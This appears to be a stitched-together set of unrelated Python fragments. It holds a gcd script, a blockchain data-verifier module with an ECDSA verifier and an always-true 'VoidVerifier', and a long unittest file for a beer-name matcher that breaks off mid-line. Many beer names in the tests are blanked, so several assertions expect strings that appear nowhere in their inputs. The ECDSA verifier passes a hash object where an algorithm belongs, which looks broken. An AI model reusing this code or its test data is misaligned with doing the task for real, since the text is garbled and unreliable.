modelFn, optimizer, scheduler, saver) 1-10 import functools import fractions N=int(input()) A=list(map(int,input().split())) print(functools.reduce(fractions.gcd,A))rezamahdi/pyzantium from abc import ABC from abc import abstractmethod from typing import Any from cryptography.exceptions import InvalidSignature from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives.asymmetric import utils class Verifier(ABC): """ Abstract base class for validating data. This class provide an interface for data verifiers to verify data that will append to a block. """ def __init__(self) -> None: super().__init__() @abstractmethod def verify(self, data: bytes) -> bool: """ Checks verify (Authority) of data :param data: Data that will be added to block :return: True if signature is ok, False otherwise """ ... class ECCVerifier(Verifier): """ Data verifier using ECC This verifier checks validity based on a digital signature produced by an Elliptic curve. :param pkey: Elliptic curve public key of author :param hash: Hash algorithm used to generate signature :param signature: Signature of this data """ def __init__( self, pkey: ec.EllipticCurvePublicKey, hash: hashes.Hash, signature: bytes ) -> None: super().__init__() self._pkey = pkey self._hash = hash self._signature = signature def verify(self, data: bytes) -> bool: hasher = hashes.Hash(self._hash) # TODO: hash data with chunks hasher.update(data) digest = hasher.finalize() dsa = ec.ECDSA(utils.Prehashed(hasher)) try: self._pkey.verify(self._signature, digest, dsa) except InvalidSignature: return False return True class VoidVerifier(Verifier): """ This is an empty verifier that will say data is valid allwasy This class is not intendet to be used in production. Using this verifier will cause to ignore validity of data. """ def __init__(self) -> None: super().__init__() def verify(self, data: bytes) -> bool: return True beertools/tests/beernamematcher_test.py1-10 # -*- coding: utf-8 -*- import unittest from beernamematcher import BeerNameMatcher BEERS_2OL = [ {'name': u'To '}, {'name': u'To Øoliat Imperial Coffee Stout'}, {'name': u'To Øl Black Ball Porter'}, {'name': u'Shivity IPA'}, ] BEERS_AEGIR = [ {'name': u''}, {'name': u''}, {'name': u''} ] class BeerNameMatcherTest(unittest.TestCase): def setUp(self): self.matcher_2ol = BeerNameMatcher(u'To Øl', BEERS_2OL) self.matcher_aegir = BeerNameMatcher(u'', BEERS_AEGIR) def test_chimay(self): beer_list = [ {'name': u'Chimay (Red / Rouge / Ale / Première)'}, {'name': u'Chimay 150 / Spéciale Cent Cinquante'}, {'name': u' (Blue) / Grande Réserve'}, {'name': u' / Spéciale du Potaupré '}, {'name': u' / Blanche (White) / Cinq Cents'} ] matcher = BeerNameMatcher('Chimay', beer_list) matched1 = matcher.match_name(u'Chimay Trappist Red Première') self.assertEqual(u'Chimay (Red / Rouge / Ale / Première)', matched1['name']) @unittest.skip("") def test_chimay2(self): beer_list = [ {'name': u'Chimay (Red / Rouge / Ale / Première)', 'abv': 7.0}, {'name': u'Chimay 150 / Spéciale Cent Cinquante', 'abv': 10.0}, {'name': u' (Blue) / Grande Réserve', 'abv': 9.0}, {'name': u' / ', 'abv': 4.8}, {'name': u' / Blanche (White) / Cinq Cents', 'abv': 8.0} ] matcher = BeerNameMatcher('Chimay', beer_list) #matched3 = matcher.match_name(u'Chimay Trappist Red', abv=7.0) #self.assertEqual(u'Chimay (Red / Rouge / Ale / Première)', matched3['name']) matched2 = matcher.match_name(u'Chimay Trappist Cinq Cents') self.assertEqual(u'Chimay Triple / Blanche (White) / Cinq Cents', matched2['name']) #matched4 = matcher.match_name(u'Chimay Trappist White') #self.assertEqual(u'Chimay Triple / Blanche (White) / Cinq Cents', matched4['name']) #matched5 = matcher.match_name(u'Chimay Trappist Blue 2014') #self.assertEqual(u'Chimay Bleue (Blue) / Grande Réserve', matched5['name']) @unittest.skip("") def test_rye_ipa(self): beer_list = [ {'name': u'Adnams Oak Aged IPA', 'abv': 8.0}, {'name': u'Adnams Jack Brand Crystal Rye IPA', 'abv': 5.0}, ] matcher = BeerNameMatcher(u'Adnams', beer_list) matched = matcher.match_name(u'Adnams Rye IPA', abv=5.0) self.assertEqual(u'Adnams Jack Brand Crystal Rye IPA', matched['name']) @unittest.skip("") def test_white_ipa(self): beer_list = [ {'name': u'Lervig Brewers Reserve Rye IPA', 'abv': 8.5}, {'name': u'Lervig Brewers Reserve Oat IPA', 'abv': 7.2}, {'name': u'Lervig Brewers Reserve White IPA Wit & IPA Fusion', 'abv': 6.4}, ] matcher = BeerNameMatcher(u'Lervig Aktiebryggeri', beer_list) matched = matcher.match_name(u'Lervig Brewers Reserve White IPA', abv=6.4) self.assertEqual(u'Lervig Brewers Reserve White IPA Wit & IPA Fusion', matched['name']) @unittest.skip("") def test_pilsen(self): beer_list = [ {'name': u' Unfiltered'}, {'name': u' (Pilsener)'} ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'') self.assertEqual(u' (Pilsener)', matched['name']) @unittest.skip("") def test_staropramen(self): beer_list = [ {'name': u'Staropramen Unfiltered'}, {'name': u'Staropramen Premium Lager'} ] matcher = BeerNameMatcher(u'Staropramen Breweries (MolsonCoors)', beer_list) matched = matcher.match_name(u'Staropramen') self.assertEqual(u'Staropramen Premium Lager', matched['name']) def test_baladin_super(self): beer_list = [ {'name': u'Baladin Super 9°'}, {'name': u'Baladin Super Baladin'} ] matcher = BeerNameMatcher(u'Le Baladin', beer_list) matched = matcher.match_name(u'Baladin Super') self.assertEqual(u'Baladin Super Baladin', matched['name']) @unittest.skip("") def test_imperial_pils(self): beer_list = [ {'name': u'Jihlavský Grand 18°'} ] matcher = BeerNameMatcher(u'Pivovar Jihlava (Pivovary Lobkowicz)', beer_list) matched = matcher.match_name(u'Pivovar Jihlava Grand Imperial Pils') self.assertEqual(u'Jezek Grand Pilsner', matched['name']) @unittest.skip("") def test_batch_100(self): beer_list = [ {'name': u'Nøgne Ø # 1001'}, {'name': u'Nøgne Ø # 100 (Batch 100)'} ] matcher = BeerNameMatcher(u'Nøgne Ø (Hansa Borg)', beer_list) matched = matcher.match_name(u'Nøgne Ø # 100') self.assertEqual(u'Nøgne Ø # 100 (Batch 100)', matched['name']) def test_pils_wit(self): beer_list = [ {'name': u'', }, {'name': u'', 'abv': 4.5} ] matcher = BeerNameMatcher(u'Mikkeller', beer_list) matched = matcher.match_name(u'') self.assertEqual(u'Mit', matched['name']) @unittest.skip("") def test_bons_voeux(self): beer_list = [ {'name': u'Dupont Avec les Bons Voeux'} ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'Dupont Bons Væux') self.assertEqual(u'Dupont Avec les Bons Voeux', matched['name']) def test_match_similar(self): matched = self.matcher_2ol.match_name(u'Shivity IPA') self.assertEqual(u'Shivity IPA', matched['name']) def test_match_case_differs(self): matched = self.matcher_2ol.match_name(u'to øl reparationsbajer') self.assertEqual(u'To Øl Reparationsbajer', matched['name']) def test_match_with_brewery_name(self): matched = self.matcher_2ol.match_name(u'Black Ball Porter') self.assertEqual(u'To Øl Black Ball Porter', matched['name']) def test_cask_bottle(self): beer_list = [ {'name': u'Hook Norton Haymaker (Cask)'}, {'name': u'Hook Norton Haymaker (Bottle)'}, ] matcher = BeerNameMatcher(u'Hook Norton', beer_list) matched = matcher.match_name(u'Hook Norton Haymaker') self.assertEqual(u'Hook Norton Haymaker (Bottle)', matched['name']) def test_and(self): matched = self.matcher_aegir.match_name(u'Ægir Hrist Og Mist') self.assertEqual(u'Ægir Hrist & Mist', matched['name']) def test_percentage(self): beer_list = [ {'name': u'BrewDog Punk Pale Ale'}, {'name': u'BrewDog Punk IPA (5.6%)'}, ] matcher = BeerNameMatcher(u'BrewDog', beer_list) matched = matcher.match_name(u'BrewDog Punk IPA') self.assertEqual(u'BrewDog Punk IPA (5.6%)', matched['name']) def test_year(self): beer_list = [ {'name': u' (Cask)'}, {'name': u' (Pasteurized) (2013 - )'}, ] matcher = BeerNameMatcher(u'Thwaites', beer_list) matched = matcher.match_name(u'Big Ben') self.assertEqual(u' (Pasteurized) (2013 - )', matched['name']) def test_nora(self): beer_list = [ {'name': u'Baladin Nora Sour Edition'}, {'name': u''}, ] matcher = BeerNameMatcher(u'Le Baladin', beer_list) matched = matcher.match_name(u'Baladin Nora 75 cl') self.assertEqual(u'Baladin Nora', matched['name']) def test_fullers(self): beer_list = [ {'name': u'Fuller’s London Porter (Bottle/Keg)'} ] matcher = BeerNameMatcher(u'Fuller’s', beer_list) matched = matcher.match_name(u'Fuller\'s London Porter') self.assertEqual(u'Fuller’s London Porter (Bottle/Keg)', matched['name']) def test_proper_job(self): beer_list = [ {'name': u'St. Austell Proper Cool IPA'}, {'name': u'St. Austell Proper Job (Bottle)'}, ] matcher = BeerNameMatcher(u'St. Austell', beer_list) matched = matcher.match_name(u'St. Austell Proper Job IPA') self.assertEqual(u'St. Austell Proper Job (Bottle)', matched['name']) def test_cask_keg_bottle(self): beer_list = [ {'name': u' (Cask)'}, {'name': u' (Bottle/Keg)'}, ] matcher = BeerNameMatcher(u'Harviestoun', beer_list) matched = matcher.match_name(u'Harviestoun Schiehallion Craft Lager') self.assertEqual(u'Harviestoun Schiehallion (Bottle/Keg)', matched['name']) def test_cask_pasteurized(self): beer_list = [ {'name': u' (Cask)'}, # {'name': u' (Pasteurised) (up to 2013)'}, {'name': u' (Pasteurized)'}, ] matcher = BeerNameMatcher(u'Thwaites', beer_list) matched = matcher.match_name(u'Big Ben Brown Ale') self.assertEqual(u' (Pasteurized)', matched['name']) def test_match_beer_type_confusion(self): matched = self.matcher_2ol.match_name(u'To Øl Goliat Imperial Stout') self.assertEqual(u'To Øl Goliat Imperial Coffee Stout', matched['name']) def test_match_beer_and_confusion(self): matched = self.matcher_aegir.match_name(u'Ægir Hrist og Mist') self.assertEqual(u'Ægir Hrist & Mist', matched['name']) def test_match_beer_and_more_types(self): matched = self.matcher_aegir.match_name(u'Ægir Hrist Og Mist Hefeweizen') self.assertEqual(u'Ægir Hrist & Mist', matched['name']) def test_match_several_types(self): matched = self.matcher_aegir.match_name(u'Ægir Lynchburg Natt Barrel-Aged Imperial Porter') self.assertEqual(u'Ægir Lynchburg Natt', matched['name']) def test_match_india_red(self): matched = self.matcher_aegir.match_name(u'Ægir Skjeggjøld India Red Ale') self.assertEqual(u'Ægir Skjeggjøld', matched['name']) def test_match_humlehelvete(self): matcher = BeerNameMatcher('', [{'name': u''}]) matched = matcher.match_name(u'Veholt Humlehelvete Double IPA Originalen') self.assertEqual(u'Veholt Humlehelvete', matched['name']) def test_match_putin(self): matcher = BeerNameMatcher('Indslev Bryggeri', [{'name': u'Ugly Duck Putin'}]) matched = matcher.match_name(u'Ugly Duck Putin Imperial Wheat Stout') self.assertEqual(u'Ugly Duck Putin', matched['name']) def test_lokkatrollet(self): matcher = BeerNameMatcher(u'Grünerløkka Brygghus', [{'name': u'Grünerløkka Løkkatrollet'}]) matched = matcher.match_name(u'Grünerløkka Brygghus Løkkatrollet Stout Porter') self.assertEqual(u'Grünerløkka Løkkatrollet', matched['name']) def test_ba_edition(self): beer_list = [ {'name': u'Mikkeller Black Ink And Blood'}, {'name': u'Mikkeller Black Ink And Blood Barrel Aged (Bourbon Edition)'}, {'name': u'Mikkeller Black Ink And Blood Barrel Aged (Brandy Edition)'} ] matcher = BeerNameMatcher(u'Mikkeller', beer_list) matched = matcher.match_name(u'Mikkeller Black Ink and Blood Imperial raspberry stout Brandy') self.assertEqual(u'Mikkeller Black Ink And Blood Barrel Aged (Brandy Edition)', matched['name']) def test_ipa_apa(self): beer_list = [ {'name': u'Lervig APA'}, {'name': u'Lervig Brewers Reserve Galaxy IPA Single Hopped'}, ] matcher = BeerNameMatcher(u'Lervig Aktiebryggeri', beer_list) matched = matcher.match_name(u'Lervig Galaxy IPA') self.assertEqual(u'Lervig Brewers Reserve Galaxy IPA Single Hopped', matched['name']) def test_la_trappe(self): beer_list = [ {'name': u'La Trappe Witte Trappist'}, {'name': u''}, {'name': u'La ’or'}, {'name': u''}, {'name': u''}, {'name': u''}, ] matcher = BeerNameMatcher(u'De Koningshoeven (Bavaria - Netherlands)', beer_list) matched = matcher.match_name(u'La Trappe Blond Trappist') self.assertEqual(u'La Trappe Blond', matched['name']) matched = matcher.match_name(u'La Trappe Isid\'or Trappist') self.assertEqual(u'La Trappe Isid’or', matched['name']) matched = matcher.match_name(u'La Trappe Tripel Trappist ') self.assertEqual(u'La Trappe Tripel', matched['name']) matched = matcher.match_name(u'La Trappe Dubbel Trappist') self.assertEqual(u'La Trappe Dubbel', matched['name']) matched = matcher.match_name(u'La Trappe Bockbier Trappistenbier') self.assertEqual(u'La Trappe Bockbier', matched['name']) def test_rochefort(self): beer_list = [ {'name': u'Rochefort Trappistes 6'}, {'name': u'Rochefort Trappistes 10'}, {'name': u'Rochefort Trappistes 8'}, {'name': u''}, {'name': u''}, {'name': u''}, ] matcher = BeerNameMatcher(u'Brasserie Rochefort', beer_list) matched = matcher.match_name(u'Rochefort 10 Trappist') self.assertEqual(u'Rochefort Trappistes 10', matched['name']) matched = matcher.match_name(u'Rochefort 8 Trappist') self.assertEqual(u'Rochefort Trappistes 8', matched['name']) def test_noisom(self): beer_list = [ {'name': u'Nøisom Brown Ale'}, {'name': u''} ] matcher = BeerNameMatcher(u'Nøisom Craft Beer', beer_list) matched = matcher.match_name(u'Nøisom Somnus Brown Ale') self.assertEqual(u'Nøisom Somnus', matched['name']) def test_by_the_horns(self): beer_list = [ {'name': u'By The Horns Lambeth Walk (Vanilla Whiskey Special)'}, {'name': u'By The Horns Lambeth Walk'}, ] matcher = BeerNameMatcher(u'By The Horns', beer_list) matched = matcher.match_name(u'By The Horns Lambeth Walk London Porter') self.assertEqual(u'By The Horns Lambeth Walk', matched['name']) def test_harviestoun(self): beer_list = [ {'name': u'Harviestoun Old Engine Oil Special Reserve (10.5 %)'}, {'name': u'Harviestoun Old Engine Oil (Bottle)'}, ] matcher = BeerNameMatcher(u'Harviestoun', beer_list) matched = matcher.match_name(u'Harviestoun Brewery Old Engine Oil Porter') self.assertEqual(u'Harviestoun Old Engine Oil (Bottle)', matched['name']) def test_emelisse(self): beer_list = [ {'name': u'Emelisse American Pale Ale'}, {'name': u'Emelisse Double IPA 9%'}, ] matcher = BeerNameMatcher(u'Brouwerij Emelisse', beer_list) matched = matcher.match_name(u'Emelisse Double IPA') self.assertEqual(u'Emelisse Double IPA 9%', matched['name']) def test_unfiltered_synonym(self): beer_list = [ {'name': u'Theresianer Premium Pils'}, {'name': u'Theresianer Premium Pils Non Filtrata'}, ] matcher = BeerNameMatcher(u'Theresianer Antica Birreria di Trieste', beer_list) matched = matcher.match_name(u'Theresianer Premium Pils Unfiltered') self.assertEqual(u'Theresianer Premium Pils Non Filtrata', matched['name']) def test_unfiltered(self): beer_list = [ {'name': u'Theresianer India Pale Ale'}, {'name': u'Theresianer Wit'}, ] matcher = BeerNameMatcher(u'Theresianer Antica Birreria di Trieste', beer_list) matched = matcher.match_name(u'Theresianer Wit Unfiltered') self.assertEqual(u'Theresianer Wit', matched['name']) def test_type(self): beer_list = [ {'name': u'Undercover Lager'}, {'name': u'Undercover Pale Ale'}, ] matcher = BeerNameMatcher(u'Coisbo Beer', beer_list) matched = matcher.match_name(u'UnderCover Brewing Pale Ale') self.assertEqual(u'Undercover Pale Ale', matched['name']) def test_lager_pilsner(self): beer_list = [ {'name': u'Grolsch Amber Ale'}, {'name': u'Grolsch Premium Lager / Pilsner'}, ] matcher = BeerNameMatcher(u'Grolsche Bierbrouwerij Ned. (SABMiller)', beer_list) matched = matcher.match_name(u'Grolsch Premium Lager') self.assertEqual(u'Grolsch Premium Lager / Pilsner', matched['name']) def test_dash_for_space(self): beer_list = [ {'name': u'Adnams Tally-Ho'}, {'name': u'Adnams Tally Ho-Ho-Ho'}, ] matcher = BeerNameMatcher(u'Adnams', beer_list) matched = matcher.match_name(u'Adnams Tally Ho Ho Ho') self.assertEqual(u'Adnams Tally Ho-Ho-Ho', matched['name']) def test_abv_limit(self): beer_list = [ {'name': u'Harviestoun Old Engine Oil (4.5%)'}, {'name': u'Harviestoun Old Engine Oil (Bottle)'}, ] matcher = BeerNameMatcher(u'Harviestoun', beer_list) matched = matcher.match_name(u'Harviestoun Brewery Old Engine Oil Porter') self.assertEqual(u'Harviestoun Old Engine Oil (Bottle)', matched['name']) def test_baladin(self): beer_list = [ {'name': u'Baladin NazionAle'}, ] matcher = BeerNameMatcher(u'Le Baladin', beer_list) matched = matcher.match_name(u'Baladin Nazionale 2012') self.assertEqual(u'Baladin NazionAle', matched['name']) def test_collab(self): beer_list = [ {'name': u'Nøgne Ø / Terrapin Imperial Rye Porter'}, ] matcher = BeerNameMatcher(u'Nøgne Ø (Hansa Borg)', beer_list) matched = matcher.match_name(u'Nøgne Ø Imperial Rye Porter') self.assertEqual(u'Nøgne Ø / Terrapin Imperial Rye Porter', matched['name']) def test_collab_nospace(self): beer_list = [ {'name': u'Amundsen / Garage Project Born Slippy'}, ] matcher = BeerNameMatcher(u'Amundsen Bryggeri & Spiseri', beer_list) matched = matcher.match_name(u'Garage Project/Amundsen Bryggeri Born Slippy Wheat Beer') self.assertEqual(u'Amundsen / Garage Project Born Slippy', matched['name']) def test_single_hop(self): beer_list = [ {'name': u'Amundsen One Hop Wonder - Total Eclipse of the hop'}, ] matcher = BeerNameMatcher(u'Amundsen Bryggeri & Spiseri', beer_list) matched = matcher.match_name(u'Amundsen Total Eclipse of the Hop - Single Hop IPA') self.assertEqual(u'Amundsen One Hop Wonder - Total Eclipse of the hop', matched['name']) def test_hansa_ipa(self): beer_list = [ {'name': u'Hansa Spesial Porter'}, {'name': u'Hansa Spesial IPA Extra'}, ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'Hansa IPA Ekstra Spesial') self.assertEqual(u'Hansa Spesial IPA Extra', matched['name']) def test_cask_vs_filtered(self): beer_list = [ {'name': u'Morland Old Speckled Hen (Cask)'}, {'name': u'Morland Old Speckled Hen (Cask - 5.2%)'}, {'name': u'Morland Old Speckled Hen (Filtered)'}, ] matcher = BeerNameMatcher(u'Greene King', beer_list) matched = matcher.match_name(u'Old Speckled Hen') self.assertEqual(u'Morland Old Speckled Hen (Filtered)', matched['name']) def test_special_blend(self): beer_list = [ {'name': u' Special Blend 2010'}, {'name': u''}, ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'') self.assertEqual(u'', matched['name']) def test_brown_bruin(self): beer_list = [ {'name': u'Maredsous 6 Blond'}, {'name': u'Maredsous 8 Brune/Bruin'}, ] matcher = BeerNameMatcher(u'Duvel Moortgat', beer_list) matched = matcher.match_name(u'Maredsous Brown') self.assertEqual(u'Maredsous 8 Brune/Bruin', matched['name']) def test_abv_and_cask2(self): beer_list = [ {'name': u'Shepherd Neame Double Stout (5.2% - Bottle)'}, {'name': u'Shepherd Neame Double Stout (5.2% - Cask)'}, ] matcher = BeerNameMatcher(u'Shepherd Neame', beer_list) matched = matcher.match_name(u'Shepherd Neame Double Stout') self.assertEqual(u'Shepherd Neame Double Stout (5.2% - Bottle)', matched['name']) def test_bitburger(self): beer_list = [ {'name': u'Bitburger Premium Pils'}, ] matcher = BeerNameMatcher(u'Bitburger Brauerei Th. Simon', beer_list) matched = matcher.match_name(u'Bitburger Premium') self.assertEqual(u'Bitburger Premium Pils', matched['name']) def test_okologisk(self): beer_list = [ {'name': u'Herslev Økologisk Pale Ale'}, ] matcher = BeerNameMatcher(u'Herslev Bryghus', beer_list) matched = matcher.match_name(u'Herslev Bryghus Pale Ale') self.assertEqual(u'Herslev Økologisk Pale Ale', matched['name']) def test_hefeweizen(self): beer_list = [ {'name': u'issbier (Hefe-Weizen)'}, ] matcher = BeerNameMatcher(u'Erdinger Weissbräu', beer_list) matched = matcher.match_name(u'Erdinger Weissbier') self.assertEqual(u'Erdinger Weissbier (Hefe-Weizen)', matched['name']) def test_dunkel_dark(self): beer_list = [ {'name': u'Erdinger Weissbier Hefe-Weizen Dark'}, ] matcher = BeerNameMatcher(u'Erdinger Weissbräu', beer_list) matched = matcher.match_name(u'Erdinger Weissbier Dunkel') self.assertEqual(u'Erdinger Weissbier Hefe-Weizen Dark', matched['name']) def test_parentesis(self): beer_list = [ {'name': u'Nøgne Ø Lemongrass (Aku Aku Lemongrass Ale)'}, ] matcher = BeerNameMatcher(u'Nøgne Ø (Hansa Borg)', beer_list) matched = matcher.match_name(u'Nøgne Ø Lemongrass') self.assertEqual(u'Nøgne Ø Lemongrass (Aku Aku Lemongrass Ale)', matched['name']) def test_pils_pilsner(self): beer_list = [ {'name': u'Mikkeller Vesterbro Pale Ale'}, {'name': u''}, ] matcher = BeerNameMatcher(u'Mikkeller', beer_list) matched = matcher.match_name(u'Mikkeller Vesterils') self.assertEqual(u'Mikkeller Vesterbro Pilsner', matched['name']) def test_ipa_abbrev(self): beer_list = [ {'name': u'Midtfyns Double India Pale Ale (Coop Grill)'}, {'name': u'Midtfyns Double IPA'}, ] matcher = BeerNameMatcher(u'Midtfyns Bryghus', beer_list) matched = matcher.match_name(u'Midtfyns Bryghus Double India Pale Ale') self.assertEqual(u'Midtfyns Double IPA', matched['name']) def test_noir(self): beer_list = [ {'name': u'Verhaeghe Barbe d’Or'}, {'name': u'Verhaeghe Barbe Noire (Barbe Black)'}, ] matcher = BeerNameMatcher(u'Verhaeghe', beer_list) matched = matcher.match_name(u'Verhaeghe Barbe Noir') self.assertEqual(u'Verhaeghe Barbe Noire (Barbe Black)', matched['name']) def test_sara(self): beer_list = [ {'name': u' (Biologique)'} ] matcher = BeerNameMatcher(u'Silenrieux', beer_list) matched = matcher.match_name(u'Sara de Silenrieux Bio') self.assertEqual(u'Silenrieux Sonde (Biologique)', matched['name']) def test_sierra_nevada(self): beer_list = [ {'name': u'Sierra Nevada Pale Ale (Bottle/Can)'} ] matcher = BeerNameMatcher(u'Sierra Nevada Brewing Company', beer_list) matched = matcher.match_name(u'Sierra Nevada Pale Ale') self.assertEqual(u'Sierra Nevada Pale Ale (Bottle/Can)', matched['name']) def test_rye_ipa2(self): beer_list = [ {'name': u'Beavertown 8 Ball'} ] matcher = BeerNameMatcher(u'Beavertown', beer_list) matched = matcher.match_name(u'Beavertown 8 Ball Rye IPA') self.assertEqual(u'Beavertown 8 Ball', matched['name']) def test_dubbel_wit(self): beer_list = [ {'name': u''} ] matcher = BeerNameMatcher(u'Kleinbrouwerij De ', beer_list) matched = matcher.match_name(u'Glazen T D') self.assertEqual(u'Glazen T', matched['name']) def test_triple(self): beer_list = [ {'name': u'Paix Dieu Triple'} ] matcher = BeerNameMatcher(u'Caulier', beer_list) matched = matcher.match_name(u'Paix Dieu') self.assertEqual(u'Paix Dieu Triple', matched['name']) def test_dunkles_weizen(self): beer_list = [ {'name': u'Coisbo Pinnekjøttøl Dunkles Weizen'} ] matcher = BeerNameMatcher(u'Coisbo Beer', beer_list) matched = matcher.match_name(u'Coisbo Weissbier Pinnekjøt-øl') self.assertEqual(u'Coisbo Pinnekjøttøl Dunkles Weizen', matched['name']) def test_apostrophe(self): beer_list = [ {'name': u'Fuller’s 1845'} ] matcher = BeerNameMatcher(u'Fuller’s', beer_list) matched = matcher.match_name(u'Fuller`s 1845') self.assertEqual(u'Fuller’s 1845', matched['name']) def test_marstons(self): beer_list = [ {'name': u'Marstons Old Empire (Bottle)'} ] matcher = BeerNameMatcher(u'Marstons', beer_list) matched = matcher.match_name(u'Marston\'s Old Empire IPA') self.assertEqual(u'Marstons Old Empire (Bottle)', matched['name']) def test_lagerol(self): beer_list = [ {'name': u'Rådanäs Lageröl'} ] matcher = BeerNameMatcher(u'Rådanäs Bryggeri', beer_list) matched = matcher.match_name(u'Rådanäs Lager') self.assertEqual(u'Rådanäs Lageröl', matched['name']) def test_oyster_stout(self): beer_list = [ {'name': u'Ægir / Garage Project First Wave'} ] matcher = BeerNameMatcher(u'Ægir Bryggeri', beer_list) matched = matcher.match_name(u'Garage Project/Ægir Bryggeri First Wave Oyster Stout') self.assertEqual(u'Ægir / Garage Project First Wave', matched['name']) def test_parenthesis(self): beer_list = [ {'name': u'Flying Dog Snake Dog IPA (Raspberry Puree & Orange Peel)'}, {'name': u'Flying Dog Snake Dog IPA (2008 and later)'} ] matcher = BeerNameMatcher(u'Flying Dog Brewery', beer_list) matched = matcher.match_name(u'Flying Dog Snake Dog IPA') self.assertEqual(u'Flying Dog Snake Dog IPA (2008 and later)', matched['name']) def test_sorting(self): beer_list = [ {'name': u'CAP Jernteppet Hammerfest'} ] matcher = BeerNameMatcher(u'CAP Brewery', beer_list) matched = matcher.match_name(u'CAP Hammerfest Jernteppet Pale Ale') self.assertEqual(u'CAP Jernteppet Hammerfest', matched['name']) def test_hanssens(self): beer_list = [ {'name': u'Hanssens Oude Schaarbeekse Kriek'} ] matcher = BeerNameMatcher(u'Hanssens Artisanaal', beer_list) matched = matcher.match_name(u'Hanssens Oude Kriek Handgeplukte Schaerbeekske Krieken') self.assertEqual(u'Hanssens Oude Schaarbeekse Kriek', matched['name']) def test_borgo(self): beer_list = [ {'name': u'Birra del Borgo Re Ale'} ] matcher = BeerNameMatcher(u'Birra del Borgo', beer_list) matched = matcher.match_name(u'Birra del Borga ReAle') self.assertEqual(u'Birra del Borgo Re Ale', matched['name']) def test_spaces(self): beer_list = [ {'name': u'Beer Here Angry Hops'} ] matcher = BeerNameMatcher(u'Beer Here', beer_list) matched = matcher.match_name(u'Beerhere Angry Hops IPA') self.assertEqual(u'Beer Here Angry Hops', matched['name']) def test_hook_norton(self): beer_list = [ {'name': u'Hook Norton - Hook Norton Flagship (Keg)'}, {'name': u'Hook Norton - Hook Norton Flagship (Cask & Bottle Conditioned)'} ] matcher = BeerNameMatcher(u'Hook Norton', beer_list) matched = matcher.match_name(u'Hook Norton Flagship') self.assertEqual(u'Hook Norton - Hook Norton Flagship (Cask & Bottle Conditioned)', matched['name']) def test_fantome(self): beer_list = [ {'name': u'Fantôme India Red Ale (IRA)'} ] matcher = BeerNameMatcher(u'Brasserie Fantôme', beer_list) matched = matcher.match_name(u'Brasserie Fantome India Red Ale') self.assertEqual(u'Fantôme India Red Ale (IRA)', matched['name']) def test_pater(self): beer_list = [ {'name': u'Corsendonk Pater / Abbey Brown Ale'} ] matcher = BeerNameMatcher(u'Brouwerij Corsendonk', beer_list) matched = matcher.match_name(u'Corsendonk Pater Dubbel') self.assertEqual(u'Corsendonk Pater / Abbey Brown Ale', matched['name']) def test_messy_rye(self): beer_list = [ {'name': u'Nøisom Messy Rye'} ] matcher = BeerNameMatcher(u'Nøisom Craft Beer', beer_list) matched = matcher.match_name(u'Nøisom Messy Rye Rug IPA') self.assertEqual(u'Nøisom Messy Rye', matched['name']) def test_premium_pils(self): beer_list = [ {'name': u'Lederer Premium Pils'} ] matcher = BeerNameMatcher(u' (Oetker Group)', beer_list) matched = matcher.match_name(u'Lederer Pils') self.assertEqual(u'Lederer Premium Pils', matched['name']) def test_mini_keg(self): beer_list = [ {'name': u''} ] matcher = BeerNameMatcher(u'. ', beer_list) matched = matcher.match_name(u'Fr Mini Keg') self.assertEqual(u'Frlsch', matched['name']) def test_seasonal(self): beer_list = [ {'name': u'Mohawk Whiteout Imperial Stout'} ] matcher = BeerNameMatcher(u'Mohawk Brewing Company', beer_list) matched = matcher.match_name(u'Mohawk Whiteout Seasonal Imperial Stout') self.assertEqual(u'Mohawk Whiteout Imperial Stout', matched['name']) def test_herb(self): beer_list = [ {'name': u''} ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'Szigeti Beer Herb') self.assertEqual(u'Szigeti Beer', matched['name']) def test_lervig_rye_ipa(self): beer_list = [ {'name': u'Lervig Brewers Reserve Rye IPA - Barrel Aged'}, {'name': u'Lervig Brewers Reserve Rye IPA'} ] matcher = BeerNameMatcher(u'Lervig Aktiebryggeri', beer_list) matched = matcher.match_name(u'Lervig Rye IPA') self.assertEqual(u'Lervig Brewers Reserve Rye IPA', matched['name']) def test_electric_nurse(self): beer_list = [ {'name': u'Electric Nurse DIPA'} ] matcher = BeerNameMatcher(u'Dugges Ale & Porterbryggeri', beer_list) matched = matcher.match_name(u'Electric Nurse DIPA') self.assertEqual(u'Electric Nurse DIPA', matched['name']) def test_semicolon(self): beer_list = [ {'name': u'Fantôme Artist: '} ] matcher = BeerNameMatcher(u'Brasserie Fantôme ', beer_list) matched = matcher.match_name(u'Fantome Artist') self.assertEqual(u'Fantôme Artist: ', matched['name']) def test_ambree(self): beer_list = [ {'name': u'Abbaye des Rocs La Montagnarde (Ambree)'} ] matcher = BeerNameMatcher(u'Brasserie de l’Abbaye des Rocs', beer_list) matched = matcher.match_name(u'Abbaye des Rocs Montagnarde') self.assertEqual(u'Abbaye des Rocs La Montagnarde (Ambree)', matched['name']) def test_shepard_neame(self): beer_list = [ {'name': u'Shepherd Neame Double Stout (5.2% - Cask)'}, {'name': u'Shepherd Neame Double Stout (5.2% - Bottle)'} ] matcher = BeerNameMatcher(u'Shepherd Neame', beer_list) matched = matcher.match_name(u'Shepherd Neame Double Stout') self.assertEqual(u'Shepherd Neame Double Stout (5.2% - Bottle)', matched['name']) def test_red_hopster(self): beer_list = [ {'name': u'Lindheim Red Hopster'} ] matcher = BeerNameMatcher(u'Lindheim Ølkompani', beer_list) matched = matcher.match_name(u'Lindheim Red Hopster Imperial Red Ale') self.assertEqual(u'Lindheim Red Hopster', matched['name']) def test_barrels(self): beer_list = [ {'name': u'Nøgne Ø Imperial Stout (Whisky barrel edition)'} ] matcher = BeerNameMatcher(u'Nøgne Ø (Hansa Borg)', beer_list) matched = matcher.match_name(u'Nøgne Ø Imperial Stout Whisky Barrels') self.assertEqual(u'Nøgne Ø Imperial Stout (Whisky barrel edition)', matched['name']) def test_amber_brewery(self): beer_list = [ {'name': u'Amber Złote Lwy'} ] matcher = BeerNameMatcher(u'B', beer_list) matched = matcher.match_name(u'Zlote LWY Lys') self.assertEqual(u'Amber Złote Lwy', matched['name']) def test_mack_gull(self): beer_list = [ {'name': u''} ] matcher = BeerNameMatcher(u'', beer_list) matched = 